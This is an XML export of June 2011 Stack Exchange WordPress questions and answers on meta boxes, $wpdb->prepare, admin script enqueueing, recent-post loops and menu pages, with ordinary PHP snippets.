  <row Id="20469" PostTypeId="2" ParentId="20250" CreationDate="2011-06-20T07:17:50.890" Score="0" ViewCount="" Body="&lt;p&gt;Theres a fix for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;          $args=array(&#xA;                     'public'   =&amp;gt; true,&#xA;                     '_builtin' =&amp;gt; false&#xA;                     ); &#xA;                $output = 'names';&#xA;                $operator = 'and';&#xA;                $post_types=get_post_types($args,$output,$operator); &#xA;&#xA;          echo '&amp;lt;select name=&quot;customcategory&quot;&amp;gt;';&#xA;          echo '&amp;lt;option value=&quot;interior_articles&quot;&amp;gt;Interior Design Articles&amp;lt;/option&amp;gt;';&#xA;          echo '&amp;lt;option value=&quot;another_post_type&quot;&amp;gt;Another Post Type&amp;lt;/option&amp;gt;';&#xA;          echo '&amp;lt;option value=&quot;and_yet_another_post_type&quot;&amp;gt;And Yet Another Post Type&amp;lt;/option&amp;gt;';&#xA;          echo '&amp;lt;/select&amp;gt;';  &#xA;     ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;probably not the ideal option but works for my setup&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-20T07:17:50.890" CommentCount="1" />
  <row Id="20471" PostTypeId="2" ParentId="20446" CreationDate="2011-06-20T07:42:16.767" Score="0" ViewCount="" Body="&lt;p&gt;This should help you on your way, a similar question was asked just a couple of days ago &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20191/wordpress-shop-enable-custormers-to-select-product-color-using-image-thumbnails&quot;&gt;&lt;strong&gt;Colour Selection With Thumbnails&lt;/strong&gt;&lt;/a&gt;, you'l probably need to get a grip on how javascript works using id's as a selector&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-20T07:42:16.767" />
  <row Id="20472" PostTypeId="2" ParentId="20463" CreationDate="2011-06-20T08:14:01.040" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps these posts will help you achieve that :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&quot;&gt;Need Help in Saving Taxonomy Terms (85% solved... just need some help)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&quot; rel=&quot;nofollow&quot;&gt;WordPress Custom Taxonomy Input Panels&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T08:14:01.040" />
  <row Id="20474" PostTypeId="2" ParentId="20463" CreationDate="2011-06-20T08:59:02.387" Score="0" ViewCount="" Body="&lt;p&gt;For mutually exclusive values use post meta. It is faster to read than assigned taxonomies too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; possible to create your own interface:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the parameter &lt;code&gt;show_ui&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; when you register the taxonomy.&lt;/li&gt;&#xA;&lt;li&gt;Register a meta box where you print out all existing taxons with radio boxes.&lt;/li&gt;&#xA;&lt;li&gt;Add a save action to assign the value to the taxonomy.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But in most cases you’re doing something wrong and misuse the taxonomy. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-20T08:59:02.387" />
  <row Id="20475" PostTypeId="1" CreationDate="2011-06-20T09:27:46.773" Score="0" ViewCount="78" Body="&lt;p&gt;this is my function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = 'dbt_';&#xA;&#xA;$meta_box = array(&#xA;    'id' =&amp;gt; 'my-meta-box',&#xA;    'title' =&amp;gt; 'Custom meta box',&#xA;    'page' =&amp;gt; 'post',&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Checkbox',&#xA;            'id' =&amp;gt; $prefix . 'checkbox',&#xA;            'type' =&amp;gt; 'checkbox'&#xA;        )&#xA;    )&#xA;);&#xA;&#xA;add_action('admin_menu', 'mytheme_add_box');&#xA;&#xA;// Add meta box&#xA;function mytheme_add_box() {&#xA;    global $meta_box;&#xA;&#xA;    add_meta_box($meta_box['id'], $meta_box['title'], 'mytheme_show_box', $meta_box['page'], $meta_box['context'], $meta_box['priority']);&#xA;}&#xA;&#xA;// Callback function to show fields in meta box&#xA;function mytheme_show_box() {&#xA;    global $meta_box, $post;&#xA;&#xA;    // Use nonce for verification&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;mytheme_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;    echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        // get current post meta data&#xA;        $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;        echo '&amp;lt;tr&amp;gt;',&#xA;                '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;                '&amp;lt;td&amp;gt;';&#xA;        switch ($field['type']) {&#xA;            case 'checkbox':&#xA;                echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;';&#xA;                break;&#xA;        }&#xA;        echo    '&amp;lt;td&amp;gt;',&#xA;            '&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&#xA;add_action('save_post', 'mytheme_save_data');&#xA;&#xA;// Save data from meta box&#xA;function mytheme_save_data($post_id) {&#xA;    global $meta_box;&#xA;&#xA;    // verify nonce&#xA;    if (!wp_verify_nonce($_POST['mytheme_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i try to use this code in my template if check box checked :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($meta_box = get_post_meta($post-&amp;gt;ID, &quot;checkbox&quot;, true) ) : ?&amp;gt;&#xA;Show this when checkbox checked&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it doesnt work&lt;/p&gt;&#xA;" OwnerUserId="6332" LastActivityDate="2011-06-20T11:35:27.810" Title="How can i use this meta box function in my template ? (Wordpress)" Tags="&lt;metabox&gt;" AnswerCount="2" />
  <row Id="20476" PostTypeId="1" AcceptedAnswerId="20484" CreationDate="2011-06-20T09:30:08.570" Score="1" ViewCount="74" Body="&lt;p&gt;I am wondering from the syntax &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = $wpdb-&amp;gt;prepare( 'query' [, value_parameter, value_parameter ... ] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears (from the syntax - values within prepare) that it simple escapes values not craete a prepared statement giving me performance benefits when I execute it multiple times will different params?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On 2nd look, since values are optional, I can set them after preparing? How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-20T11:17:38.383" Title="Does $wpdb-&gt;prepare not create a prepared statement that I can execute multiple times?" Tags="&lt;wpdb&gt;&lt;prepare-statement&gt;" AnswerCount="1" />
  <row Id="20477" PostTypeId="1" CreationDate="2011-06-20T09:34:22.673" Score="1" ViewCount="25" Body="&lt;p&gt;I've tried to search around the web for a solution for this, but just don't seem to be able to find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to have a posts-like tabel for my plugin from which I can klick edit, trash and so on using links in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the table and the links but then it struck me that I have no idea how to link to a different page within my plugin. I figured I have to link to a php function containing the contents of the page I want to display but I have no idea how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance I want to go from my dneref_main page to dneref_edit (admin.php?page=dneref_main). Do I just link to this admin.php?page URL or is there some easier way to do this? Like a php function generator or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I don't want the pages to appear in the admin menu either..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5633" LastEditorUserId="5633" LastEditorDisplayName="" LastEditDate="2011-06-20T09:42:49.283" LastActivityDate="2011-06-20T09:42:49.283" Title="Linking within admin panel in plugin" Tags="&lt;plugin-development&gt;&lt;admin&gt;" CommentCount="5" />
  <row Id="20478" PostTypeId="2" ParentId="20475" CreationDate="2011-06-20T09:56:38.247" Score="1" ViewCount="" Body="&lt;p&gt;Your missing the prefix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you call &lt;code&gt;global $prefix&lt;/code&gt; after your query and use &lt;code&gt;$prefix.'checkbox'&lt;/code&gt; to your &lt;code&gt;get_post_meta&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($meta_box = get_post_meta($post-&amp;gt;ID, $prefix.'checkbox', true) ) : ?&amp;gt;&#xA;Show this when checkbox checked&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-20T11:35:27.810" LastActivityDate="2011-06-20T11:35:27.810" />
  <row Id="20479" PostTypeId="1" AcceptedAnswerId="20487" CreationDate="2011-06-20T10:14:40.797" Score="1" ViewCount="87" Body="&lt;p&gt;I am trying to enqueue/print scripts in the admin area. But they dont seem to appear.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', function() {&#xA;    add_meta_box('portfolio-meta', 'Details', 'portfolio_metabox_details', 'portfolio');&#xA;&#xA;    wp_register_script('jqeury-validate', 'http://ajax.aspnetcdn.com/ajax/jquery.validate/1.8.1/jquery.validate.min.js');&#xA;    wp_enqueue_script('jquery-validate');&#xA;    wp_register_script('ae-admin', get_bloginfo('template_directory') . '/js/admin.js', array('jquery', 'jquery-validate'));&#xA;    wp_enqueue_script('ae-admin');&#xA;    wp_localize_script('ae-admin', 'WpAjax', array(&#xA;            'AjaxUrl' =&amp;gt; admin_url('admin-ajax.php')&#xA;    ));&#xA;    wp_register_style('ae-validate', get_bloginfo('template_directory') . '/css/validate.css');&#xA;    wp_enqueue_style('ae-validate');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my script (&lt;code&gt;admin.js&lt;/code&gt;) does not seem to get printed. I even tried to put those in 'init' instead of 'admin_init' still I dont see my scripts ... why is that? How can I debug?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-21T03:55:30.313" LastActivityDate="2011-06-30T07:02:07.337" Title="Why are admin scripts not printed " Tags="&lt;wp-admin&gt;&lt;wp-enqueue-script&gt;" AnswerCount="4" />
  <row Id="20480" PostTypeId="1" CreationDate="2011-06-19T19:33:59.167" Score="1" ViewCount="44" Body="&lt;p&gt;I am looking for a plugin or a code that will allow admin to hide all things related to a specific user. Not to delete it, just to hide it from the public. Something like to be unable to viewed from the visitors and other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should include posts, author page and comments if it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your suggestions.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-19T15:32:16.180" Title="Wordpress plugin/code to hide all things related of a user from the public" Tags="&lt;php&gt;&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20481" PostTypeId="2" ParentId="20479" CreationDate="2011-06-20T10:21:19.727" Score="0" ViewCount="" Body="&lt;p&gt;Make sure your header.php (or another function in the header) runs the wp_head action hook. The code should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_head() ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6333" LastActivityDate="2011-06-20T10:21:19.727" CommentCount="1" />
  <row Id="20482" PostTypeId="2" ParentId="20475" CreationDate="2011-06-20T10:32:21.907" Score="0" ViewCount="" Body="&lt;p&gt;You forget to use the prefix when you read the sent data from the $_POST Array in mytheme_save_data().&lt;/p&gt;&#xA;" OwnerUserId="6333" LastActivityDate="2011-06-20T10:32:21.907" CommentCount="1" />
  <row Id="20483" PostTypeId="1" CreationDate="2011-06-20T09:41:56.940" Score="0" ViewCount="27" Body="&lt;p&gt;Is there a plugin that i can controll some posts, for example if user is logged and he writed one comment to some post so he can see the post content.If user is not logged or is logged but he isn't posted a comment he could not see the content. Is there such a plugin ? And i want only for comments i choose to be like that .&lt;/p&gt;&#xA;" LastActivityDate="2011-06-20T10:50:06.363" Title="How to controll the post content" Tags="&lt;untagged&gt;" CommentCount="2" />
  <row Id="20484" PostTypeId="2" ParentId="20476" CreationDate="2011-06-20T11:17:38.383" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wpdb-prepare&lt;/code&gt; works like &lt;code&gt;sprintf&lt;/code&gt; and &lt;code&gt;vsprintf&lt;/code&gt;. The first argument will always be a format string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only acceptable format specifiers are &lt;code&gt;%s&lt;/code&gt; and &lt;code&gt;%d&lt;/code&gt;. Others I have never tested but may result in parse error as per the Codex. You must escape literal &lt;strong&gt;%&lt;/strong&gt; in your query with &lt;strong&gt;%&lt;/strong&gt;, e.g: &lt;code&gt;%%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use it like &lt;code&gt;sprintf&lt;/code&gt; which is only possible if you know the number of arguments before runtime then you can the number of arguments should match the number of format specifiers in your format string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E.g:&lt;/strong&gt; &lt;code&gt;$wpdb-&amp;gt;prepare( &quot;SELECT * FROM {$wpdb-&amp;gt;prefix}_votes WHERE post_id = %d AND username = %s&quot;, $post_id, $username );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know the number of arguments till the runtime then you must use it like &lt;code&gt;vsprintf&lt;/code&gt;. In this case the first argument will be format specifier but the second argument will be an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E.g:&lt;/strong&gt; &lt;code&gt;$wpdb-&amp;gt;prepare( &quot;SELECT * FROM {$wpdb-&amp;gt;prefix}_votes WHERE post_id = %d AND username = %s&quot;, array( $post_id, $username ) );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wpdb-&amp;gt;prepare&lt;/code&gt; will return a SQL QUERY string which you can execute as many times as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the above examples the resulted query will be: &lt;code&gt;SELECT * FROM wp_votes WHERE post_id = 747 AND username = 'cooluser'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-20T11:17:38.383" CommentCount="2" />
  <row Id="20485" PostTypeId="2" ParentId="20480" CreationDate="2011-06-20T11:20:32.313" Score="0" ViewCount="" Body="&lt;p&gt;Just last week Rilwis, a developer from Vietnam &quot;famous&quot; for his custom-metabox script came with a plugin to hide the menu (or part of it). It's premium, but 9 bucks only, so that shouldn't put a real dent in anybody's budget :) Check it out over at &lt;a href=&quot;http://www.deluxeblogtips.com/p/wordpress-hide-admin-menu.html&quot; rel=&quot;nofollow&quot;&gt;deluxeblogtips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-20T11:20:32.313" />
  <row Id="20486" PostTypeId="1" CreationDate="2011-06-20T11:24:28.377" Score="1" ViewCount="54" Body="&lt;p&gt;I would like to improve the comment editing for user by adding a simple WYSIWYG editor, and I selected &lt;a href=&quot;http://premiumsoftware.net/cleditor/&quot; rel=&quot;nofollow&quot;&gt;CLEditor&lt;/a&gt; as possible good candidate because it is light, customizable and jQuery based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched if it already exists a plugin that implement it but I was not able to found any. So I decided to write my own plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions about which Wordpress actions or filters should I look to start?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-07-23T07:26:59.633" Title="How to integrate CLEditor to comment system?" Tags="&lt;plugin-development&gt;&lt;comments&gt;&lt;wysiwyg&gt;" AnswerCount="1" />
  <row Id="20487" PostTypeId="2" ParentId="20479" CreationDate="2011-06-20T11:40:27.247" Score="6" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; hook instead of &lt;code&gt;admin_init&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you should use hooks that target admin pages as specifically as possible. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Plugins&lt;/strong&gt;: Use the &lt;code&gt;admin_print_scripts-{plugin-page}&lt;/code&gt; hook&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Themes&lt;/strong&gt;: Use the &lt;code&gt;admin_print_scripts-{theme-page}&lt;/code&gt; hook (where &lt;code&gt;{theme-page}&lt;/code&gt; is whatever string you use in the &lt;code&gt;add_theme_page()&lt;/code&gt; call)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Custom Post-Type Edit Page&lt;/strong&gt;: Use the &lt;code&gt;admin_print_scripts-edit.php&lt;/code&gt; hook, &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For Custom Post Types, inside your function, do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $typenow;&#xA;if( 'portfolio' == $typenow ) {&#xA;    // wp_enqueue_script() calls go here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(h/t &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5837/custom-post-types-question/5847#5847&quot;&gt;t31os&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-21T02:47:48.983" LastActivityDate="2011-06-21T02:47:48.983" CommentCount="13" />
  <row Id="20489" PostTypeId="1" AcceptedAnswerId="20495" CreationDate="2011-06-20T12:06:30.613" Score="0" ViewCount="78" Body="&lt;p&gt;I Want to Add My Latest 5 Post Title with Corresponding Link in My Header Position.What was the Actual Php code?Am Newbie .... &lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-20T13:08:53.880" Title="How Can i Get 5 Recent Post Title With Corresponding Link?" Tags="&lt;posts&gt;&lt;get-posts&gt;&lt;title&gt;" AnswerCount="2" />
  <row Id="20490" PostTypeId="1" AcceptedAnswerId="20492" CreationDate="2011-06-20T12:16:32.900" Score="0" ViewCount="60" Body="&lt;p&gt;In the WP menu creation GUI there's the &lt;code&gt;Automatically add top level pages&lt;/code&gt; option. I would like to do the opposite, for any page that is in the menu, automatically add it's child pages. Is there a way to do that ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-20T12:24:41.697" Title="How can I automatically add child pages to pages in a WP menu?" Tags="&lt;page&gt;&lt;menus&gt;&lt;automate&gt;&lt;children&gt;" AnswerCount="1" />
  <row Id="20491" PostTypeId="1" CreationDate="2011-06-20T12:22:09.077" Score="0" ViewCount="40" Body="&lt;p&gt;Im using the new bbPress plugin for Wordpress. (Not to be confused with the orignal bbPress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to install bb Attachments, but a few functions are named differently and the plugins fails. How can i go about getting this plugin to work, or using another method for user file-uploading in the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bbpress.org/plugins/topic/bb-attachments/&quot; rel=&quot;nofollow&quot;&gt;http://bbpress.org/plugins/topic/bb-attachments/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-06-20T12:22:09.077" Title="Installing bbPress Attachements to Wordpress plugin - bbPress" Tags="&lt;attachments&gt;&lt;bbpress&gt;" CommentCount="3" />
  <row Id="20492" PostTypeId="2" ParentId="20490" CreationDate="2011-06-20T12:24:41.697" Score="2" ViewCount="" Body="&lt;p&gt;Simply put: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want dynamic updating of your menu items, you would probably be better-served using &lt;code&gt;wp_list_pages()&lt;/code&gt; or &lt;code&gt;wp_page_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T12:24:41.697" CommentCount="1" />
  <row Id="20493" PostTypeId="2" ParentId="20250" CreationDate="2011-06-20T12:29:54.297" Score="2" ViewCount="" Body="&lt;p&gt;You just need to pull the Labels via &lt;code&gt;get_post_type_object();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args=array(&#xA;  'public'   =&amp;gt; true,&#xA;  '_builtin' =&amp;gt; false&#xA;); &#xA;$output = 'names';&#xA;$operator = 'and';&#xA;$post_types=get_post_types($args,$output,$operator); &#xA;?&amp;gt;&#xA;&amp;lt;select id=&quot;&quot; name=&quot;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php foreach ($post_types as $post_type ) {      &#xA;        $label_obj = get_post_type_object($post_type); &#xA;        $labels = $label_obj-&amp;gt;labels-&amp;gt;name;&#xA;    ?&amp;gt;&#xA;&#xA;        &amp;lt;option &amp;lt;?php selected( $instance['posttype'], $post_type ); ?&amp;gt; value=&quot;&amp;lt;?php echo $post_type; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $labels; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type_object&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_type_object&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditorDisplayName="" LastEditDate="2011-06-20T12:36:00.927" LastActivityDate="2011-06-20T12:36:00.927" CommentCount="1" />
  <row Id="20494" PostTypeId="1" AcceptedAnswerId="20541" CreationDate="2011-06-20T12:40:44.337" Score="4" ViewCount="144" Body="&lt;p&gt;I have a simple contact form using CONTACT FORM 7 PLUGIN on a page on my site. I want user to be able to download a video file only after he/she fills out the form and the form submission is successful. How do i check whether the form is successfully submitted so that I can then put in the code for force download of the file?&lt;/p&gt;&#xA;" OwnerUserId="7767" LastActivityDate="2011-08-09T19:05:07.697" Title="Wordpress Contact Form 7" Tags="&lt;plugins&gt;&lt;contact-form-7&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="20495" PostTypeId="2" ParentId="20489" CreationDate="2011-06-20T13:03:38.290" Score="3" ViewCount="" Body="&lt;p&gt;This sounds like an additional Loop on that page, right?&#xA;You might want to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php $posts_query = new WP_Query('posts_per_page=5');&#xA;        while ($posts_query-&amp;gt;have_posts()) : $posts_query-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also read more here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/The_Loop#Multiple_Loops_in_Action&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/The_Loop#Multiple_Loops_in_Action&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T13:03:38.290" CommentCount="3" />
  <row Id="20496" PostTypeId="2" ParentId="20489" CreationDate="2011-06-20T13:08:53.880" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $recent_posts = get_posts('numberposts=5');&#xA;if($recent_posts) { ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php foreach( $recent_posts as $recent ) { ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($recent-&amp;gt;ID); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $recent-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/get_posts&lt;/a&gt;&#xA;you need to change the html tags if you need a different output.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-20T13:08:53.880" CommentCount="2" />
  <row Id="20497" PostTypeId="1" CreationDate="2011-06-20T13:28:27.477" Score="1" ViewCount="75" Body="&lt;p&gt;I am exploring the idea of implementing a (vertical) &lt;strong&gt;image hosting service&lt;/strong&gt; on a self-hosted WordPress platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found several php scripts that can be used for a basic image hosting service and I am trying out one of them - but WordPress is such a great platform, and I am more familiar with it, so I would prefer to use WP if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some relevant plugins for WP (Cincopa, BuddyPress etc.), but when I look at their details, they don't look like they would deliver what they promise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about it?&lt;br&gt;&#xA;What plugins could I perhaps combine to do this?&lt;br&gt;&#xA;Do I need to use BuddyPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like users to be able to post photos, arrange them in galleries/albums, comment/tag them, complete other custom fields relating to the photos - and, &lt;strong&gt;CRUCIALLY&lt;/strong&gt;, be able to &lt;strong&gt;&lt;em&gt;mark them as public, private or friend.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More advanced membership handling (including membership levels and payment options) would be desirable. I know there are several membership plugins that I could hopefully bring it or customize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="6336" LastActivityDate="2011-06-20T14:32:05.307" Title="Implementing an image hosting website using WordPress?" Tags="&lt;plugins&gt;&lt;buddypress&gt;&lt;image&gt;&lt;hosting&gt;&lt;membership&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20498" PostTypeId="1" AcceptedAnswerId="20502" CreationDate="2011-06-20T13:31:18.457" Score="0" ViewCount="36" Body="&lt;p&gt;I have a post with audio player with autostart enabled, and i decided to put it in the beginning of the post, before putting &quot;read more&quot; excerpt feature. So the problem is, that audio player plays music on the main page, but i want it to work only on post page. Is it possible to do?&#xA;I've put my post in drafts for now, until i solve this little problem...&lt;/p&gt;&#xA;" OwnerUserId="6337" LastActivityDate="2011-06-20T14:49:37.663" Title="How to disable &quot;Audio Player&quot; to show up on the main page" Tags="&lt;wordpress.org&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="1" />
